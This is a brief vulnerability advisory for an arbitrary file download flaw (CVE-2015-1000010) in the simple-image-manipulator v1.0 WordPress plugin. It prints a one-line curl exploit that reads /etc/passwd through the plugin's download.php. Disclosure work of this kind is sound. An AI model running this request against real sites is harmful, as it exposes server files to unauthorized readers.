Arbitrary file download in simple-image-manipulator v1.0 wordpress plugin

#896 · 2015-07-16

CVE ID(s): CVE-2015-1000010

Notified: 2015-07-16

Description:

Manipulate your wordpress images using slider and tickboxes.

Exploit:

curl -sk "http://www.vapidlabs.com/wp-content/plugins/./simple-image-manipulator/controller/download.php?filepath=/etc/passwd"

Download: https://wordpress.org/plugins/simple-image-manipulator

URL: http://www.vapidlabs.com/advisory.php?v=144